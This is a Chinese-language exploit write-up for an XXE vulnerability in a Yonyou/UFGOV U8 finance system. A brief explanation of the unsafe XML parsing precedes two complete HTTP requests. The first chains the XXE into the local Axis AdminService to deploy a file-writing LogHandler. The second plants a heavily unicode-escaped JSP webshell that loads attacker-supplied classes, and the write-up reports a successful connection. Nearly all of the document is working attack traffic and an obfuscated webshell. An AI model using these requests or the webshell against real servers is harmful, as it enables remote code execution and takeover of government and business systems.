XXE漏洞
根据官网通告查看映射。
可以看到这里调用了xpw.analysisWcpXml来解析xml。
跟进发现调用的是DocumentHelper.parseText,默认是没有禁止外部实体的。
在新版本中已经修复,使用JDOM解析器禁止xml中某些实体的使用,代码如下图。
AXIS利用
关于axis的利用,这里采用handlers.LogHandler来写入文件。
具体参考:
https://paper.seebug.org/1489/#1411-orgapacheaxishandlersloghandler-handler。
复制以下包,修改本地AdminService端口(一般情况下跟外网端口是一样的)、部署的名字以及上传的路径。
网站路径通过访问/u8qx/pubDownTemplate.jsp获取。
POST /servlet/PayReturnForWcp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 834
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://127.0.0.1:9393/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ttt3%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22E:\UFGOV-ZX10.5.2\U8\webapps\u8qx\ttt2.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment">
可访问/services查看是否成功,然后替换上传的内容,出现下面的现象就是成功了。
POST /services/ttt3 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 11968
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java">
<soapenv:Header/>
<soapenv:Body>
<util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<in0 xsi:type="xsd:long" xs:type="type:long" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[
<% //\uuu000a\uuuu0020\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0048\uuuu0062\uuuu0038\uuuu0033\uuuu0034\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0070\uuuu0061\uuuu0073\uuuu0073\uuuu0022\uuuu0029\uuuu003b\uuuu0069\uuuu0066\uuuu0020\uuuu0028\uuuu0048\uuuu0062\uuuu0038\uuuu0033\uuuu0034\uuuu0020\uuuu0021\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu0020\uuuu007b\uuuu0020\uuuu0063\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0020\uuuu0045\uuuu0070\uuuu006c\uuuu0078\uuuu0038\uuuu0034\uuuu0061\uuuu0033\uuuu0020\uuuu0065\uuuu0078\uuuu0074\uuuu0065\uuuu006e\uuuu0064\uuuu0073\uuuu002f\uuuu002a\uuuu005a\uuuu0038\uuuu0031\uuuu0038\uuuu0065\uuuu0035\uuuu0039\uuuu0030\uuuu0065\uuuu0075\uuuu002a\uuuu002f\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu004c\uuuu006f\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu007b\uuuu0020\uuuu0045\uuuu0070\uuuu006c\uuuu0078\uuuu0038\uuuu0034\uuuu0061\uuuu0033\uuuu0028\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu004c\uuuu006f\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu004c\uuuu0074\uuuu0038\uuuu0056\uuuu004a\uuuu0034\uuuu0029\uuuu0020\uuuu007b\uuuu0020\uuuu0073\uuuu0075\uuuu0070\uuuu0065\uuuu0072\uuuu0028\uuuu004c\uuuu0074\uuuu0038\uuuu0056\uuuu004a\uuuu0034\uuuu0029\uuuu003b\uuuu0020\uuuu007d\uuuu0020\uuuu0070\uuuu0075\uuuu0062\uuuu006c\uuuu0069\uuuu0063\uuuu0020\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0020\uuuu0048\uuuu0062\uuuu0038\uuuu0033\uuuu0034\uuuu0028\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu005d\uuuu0020\uuuu0062\uuuu0029\uuuu0020\uuuu007b\uuuu0020\uuuu0072\uuuu0065\uuuu0074\uuuu0075\uuuu0072\uuuu006e\uuuu0020\uuuu0073\uuuu0075\uuuu0070\uuuu0065\uuuu0072\uuuu002e\uuuu0064\uuuu0065\uuuu0066\uuuu0069\uuuu006e\uuuu0065\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0028\uuuu0062\uuuu002c\uuuu0020\uuuu0030\uuuu002c\uuuu0020\uuuu0062\uuuu002e\uuuu006c\uuuu0065\uuuu006e\uuuu0067\uuuu0074\uuuu0068\uuuu0029\uuuu003b\uuuu007d\uuuu007d\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu005d\uuuu0020\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0074\uuuu0072\uuuu0079\uuuu0020\uuuu007b\uuuu0069\uuuu006e\uuuu0074\uuuu005b\uuuu005d\uuuu0020\uuuu0061\uuuu0061\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0069\uuuu006e\uuuu0074\uuuu005b\uuuu005d\uuuu007b\uuuu0039\uuuu0039\uuuu002c\uuuu0020\uuuu0031\uuuu0030\uuuu0031\uuuu002c\uuuu0020\uuuu0031\uuuu0032\uuuu0036\uuuu002c\uuuu0020\uuuu0036\uuuu0032\uuuu002c\uuuu0020\uuuu0031\uuuu0032\uuuu0035\uuuu002c\uuuu0020\uuuu0031\uuuu0032\uuuu0031\uuuu002c\uuuu0020\uuuu0039\uuuu0039\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0035\uuuu002c\uuuu0020\uuuu0036\uuuu0032\uuuu002c\uuuu0020\uuuu0038\uuuu0032\uuuu002c\uuuu0020\uuuu0038\uuuu0031\uuuu002c\uuuu0020\uuuu0036\uuuu0037\uuuu002c\uuuu0020\uuuu0038\uuuu0035\uuuu002c\uuuu0020\uuuu0033\uuuu0038\uuuu002c\uuuu0020\uuuu0033\uuuu0036\uuuu002c\uuuu0020\uuuu0038\uuuu0034\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0037\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0035\uuuu002c\uuuu0020\uuuu0031\uuuu0032\uuuu0037\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0036\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0037\uuuu002c\uuuu0020\uuuu0039\uuuu0038\uuuu007d\uuuu003b\uuuu0020\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu0063\uuuu0073\uuuu0074\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0022\uuuu0022\uuuu003b\uuuu0066\uuuu006f\uuuu0072\uuuu0020\uuuu0028\uuuu0069\uuuu006e\uuuu0074\uuuu0020\uuuu0069\uuuu0020\uuuu003d\uuuu0020\uuuu0030\uuuu003b\uuuu0020\uuuu0069\uuuu0020\uuuu003c\uuuu0020\uuuu0061\uuuu0061\uuuu002e\uuuu006c\uuuu0065\uuuu006e\uuuu0067\uuuu0074\uuuu0068\uuuu003b\uuuu0020\uuuu0069\uuuu002b\uuuu002b\uuuu0029\uuuu0020\uuuu007b\uuuu0061\uuuu0061\uuuu005b\uuuu0069\uuuu005d\uuuu0020\uuuu003d\uuuu0020\uuuu0061\uuuu0061\uuuu005b\uuuu0069\uuuu005d\uuuu0020\uuuu005e\uuuu0020\uuuu0030\uuuu0078\uuuu0030\uuuu0031\uuuu0030\uuuu003b\uuuu0020\uuuu0063\uuuu0063\uuuu0073\uuuu0074\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0063\uuuu0063\uuuu0073\uuuu0074\uuuu0072\uuuu0020\uuuu002b\uuuu0020\uuuu0028\uuuu0063\uuuu0068\uuuu0061\uuuu0072\uuuu0029\uuuu0020\uuuu0061\uuuu0061\uuuu005b\uuuu0069\uuuu005d\uuuu003b\uuuu007d\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0020\uuuu0041\uuuu0034\uuuu0063\uuuu0030\uuuu0069\uuuu0020\uuuu003d\uuuu0020\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu002e\uuuu0066\uuuu006f\uuuu0072\uuuu004e\uuuu0061\uuuu006d\uuuu0065\uuuu0028\uuuu0063\uuuu0063\uuuu0073\uuuu0074\uuuu0072\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu006b\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu005d\uuuu007b\uuuu0031\uuuu0030\uuuu0030\uuuu002c\uuuu0031\uuuu0030\uuuu0031\uuuu002c\uuuu0039\uuuu0039\uuuu002c\uuuu0031\uuuu0031\uuuu0031\uuuu002c\uuuu0031\uuuu0030\uuuu0030\uuuu002c\uuuu0031\uuuu0030\uuuu0031\uuuu002c\uuuu0036\uuuu0036\uuuu002c\uuuu0031\uuuu0031\uuuu0037\uuuu002c\uuuu0031\uuuu0030\uuuu0032\uuuu002c\uuuu0031\uuuu0030\uuuu0032\uuuu002c\uuuu0031\uuuu0030\uuuu0031\uuuu002c\uuuu0031\uuuu0031\uuuu0034\uuuu007d\uuuu0029\uuuu003b\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0028\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu005d\uuuu0029\uuuu0020\uuuu0041\uuuu0034\uuuu0063\uuuu0030\uuuu0069\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu004d\uuuu0065\uuuu0074\uuuu0068\uuuu006f\uuuu0064\uuuu0028\uuuu006b\uuuu002c\uuuu0020\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu002e\uuuu0063\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0029\uuuu002e\uuuu0069\uuuu006e\uuuu0076\uuuu006f\uuuu006b\uuuu0065\uuuu0028\uuuu0041\uuuu0034\uuuu0063\uuuu0030\uuuu0069\uuuu002e\uuuu006e\uuuu0065\uuuu0077\uuuu0049\uuuu006e\uuuu0073\uuuu0074\uuuu0061\uuuu006e\uuuu0063\uuuu0065\uuuu0028\uuuu0029\uuuu002c\uuuu0020\uuuu0048\uuuu0062\uuuu0038\uuuu0033\uuuu0034\uuuu0029\uuuu003b\uuuu007d\uuuu0063\uuuu0061\uuuu0074\uuuu0063\uuuu0068\uuuu0020\uuuu0028\uuuu0045\uuuu0078\uuuu0063\uuuu0065\uuuu0070\uuuu0074\uuuu0069\uuuu006f\uuuu006e\uuuu0020\uuuu0065\uuuu0029\uuuu0020\uuuu007b\uuuu0069\uuuu006e\uuuu0074\uuuu005b\uuuu005d\uuuu0020\uuuu0061\uuuu0061\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0069\uuuu006e\uuuu0074\uuuu005b\uuuu005d\uuuu007b\uuuu0031\uuuu0032\uuuu0032\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0033\uuuu002c\uuuu0020\uuuu0031\uuuu0030\uuuu0032\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0033\uuuu002c\uuuu0020\uuuu0036\uuuu0032\uuuu002c\uuuu0020\uuuu0031\uuuu0030\uuuu0031\uuuu002c\uuuu0020\uuuu0031\uuuu0030\uuuu0030\uuuu002c\uuuu0020\uuuu0031\uuuu0032\uuuu0031\uuuu002c\uuuu0020\uuuu0031\uuuu0032\uuuu0034\uuuu002c\uuuu0020\uuuu0036\uuuu0032\uuuu002c\uuuu0020\uuuu0038\uuuu0032\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0033\uuuu002c\uuuu0020\uuuu0039\uuuu0039\uuuu002c\uuuu0020\uuuu0031\uuuu0031\uuuu0037\uuuu002c\uuuu0020\uuuu0033\uuuu0038\uuuu002c\uuuu0020\uuuu0033\uuuu0036\uuuu007d\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu0063\uuuu0073\uuuu0074\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0022\uuuu0022\uuuu003b\uuuu0066\uuuu006f\uuuu0072\uuuu0020\uuuu0028\uuuu0069\uuuu006e\uuuu0074\uuuu0020\uuuu0069\uuuu0020\uuuu003d\uuuu0020\uuuu0030\uuuu003b\uuuu0020\uuuu0069\uuuu0020\uuuu003c\uuuu0020\uuuu0061\uuuu0061\uuuu002e\uuuu006c\uuuu0065\uuuu006e\uuuu0067\uuuu0074\uuuu0068\uuuu003b\uuuu0020\uuuu0069\uuuu002b\uuuu002b\uuuu0029\uuuu0020\uuuu007b\uuuu0061\uuuu0061\uuuu005b\uuuu0069\uuuu005d\uuuu0020\uuuu003d\uuuu0020\uuuu0061\uuuu0061\uuuu005b\uuuu0069\uuuu005d\uuuu0020\uuuu005e\uuuu0020\uuuu0030\uuuu0078\uuuu0030\uuuu0031\uuuu0030\uuuu003b\uuuu0063\uuuu0063\uuuu0073\uuuu0074\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0063\uuuu0063\uuuu0073\uuuu0074\uuuu0072\uuuu0020\uuuu002b\uuuu0020\uuuu0028\uuuu0063\uuuu0068\uuuu0061\uuuu0072\uuuu0029\uuuu0020\uuuu0061\uuuu0061\uuuu005b\uuuu0069\uuuu005d\uuuu003b\uuuu007d\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0020\uuuu0063\uuuu006c\uuuu0061\uuuu007a\uuuu007a\uuuu0020\uuuu003d\uuuu0020\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu002e\uuuu0066\uuuu006f\uuuu0072\uuuu004e\uuuu0061\uuuu006d\uuuu0065\uuuu0028\uuuu0063\uuuu0063\uuuu0073\uuuu0074\uuuu0072\uuuu0029\uuuu003b\uuuu004f\uuuu0062\uuuu006a\uuuu0065\uuuu0063\uuuu0074\uuuu0020\uuuu0064\uuuu0065\uuuu0063\uuuu006f\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0063\uuuu006c\uuuu0061\uuuu007a\uuuu007a\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu004d\uuuu0065\uuuu0074\uuuu0068\uuuu006f\uuuu0064\uuuu0028\uuuu0022\uuuu0067\uuuu0065\uuuu0074\uuuu0044\uuuu0065\uuuu0063\uuuu006f\uuuu0064\uuuu0065\uuuu0072\uuuu0022\uuuu0029\uuuu002e\uuuu0069\uuuu006e\uuuu0076\uuuu006f\uuuu006b\uuuu0065\uuuu0028\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu003b\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0028\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu005d\uuuu0029\uuuu0020\uuuu0064\uuuu0065\uuuu0063\uuuu006f\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0028\uuuu0029\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu004d\uuuu0065\uuuu0074\uuuu0068\uuuu006f\uuuu0064\uuuu0028\uuuu0022\uuuu0064\uuuu0065\uuuu0063\uuuu006f\uuuu0064\uuuu0065\uuuu0022\uuuu002c\uuuu0020\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu002e\uuuu0063\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0029\uuuu002e\uuuu0069\uuuu006e\uuuu0076\uuuu006f\uuuu006b\uuuu0065\uuuu0028\uuuu0064\uuuu0065\uuuu0063\uuuu006f\uuuu0064\uuuu0065\uuuu0072\uuuu002c\uuuu0020\uuuu0048\uuuu0062\uuuu0038\uuuu0033\uuuu0034\uuuu0029\uuuu003b\uuuu007d\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0020\uuuu0061\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0045\uuuu0070\uuuu006c\uuuu0078\uuuu0038\uuuu0034\uuuu0061\uuuu0033\uuuu0028\uuuu0054\uuuu0068\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu002e\uuuu0063\uuuu0075\uuuu0072\uuuu0072\uuuu0065\uuuu006e\uuuu0074\uuuu0054\uuuu0068\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu0028\uuuu0029\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0043\uuuu006f\uuuu006e\uuuu0074\uuuu0065\uuuu0078\uuuu0074\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu004c\uuuu006f\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu0029\uuuu002e\uuuu0048\uuuu0062\uuuu0038\uuuu0033\uuuu0034\uuuu0028\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu0073\uuuu0029\uuuu003b\uuuu004f\uuuu0062\uuuu006a\uuuu0065\uuuu0063\uuuu0074\uuuu0020\uuuu006f\uuuu0020\uuuu003d\uuuu0020\uuuu0061\uuuu0043\uuuu006c\uuuu0061\uuuu0073\uuuu0073\uuuu002e\uuuu006e\uuuu0065\uuuu0077\uuuu0049\uuuu006e\uuuu0073\uuuu0074\uuuu0061\uuuu006e\uuuu0063\uuuu0065\uuuu0028\uuuu0029\uuuu003b\uuuu006f\uuuu002e\uuuu0065\uuuu0071\uuuu0075\uuuu0061\uuuu006c\uuuu0073\uuuu0028\uuuu0070\uuuu0061\uuuu0067\uuuu0065\uuuu0043\uuuu006f\uuuu006e\uuuu0074\uuuu0065\uuuu0078\uuuu0074\uuuu0029\uuuu003b\uuuu007d\uuuu0020\uuuu0065\uuuu006c\uuuu0073\uuuu0065\uuuu0020\uuuu007b\uuuu007d %>
]]></in0>
<in1 xsi:type="xsd:long" xs:type="type:long" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1>
</util:ints>
</soapenv:Body>
</soapenv:Envelope>
连接成功。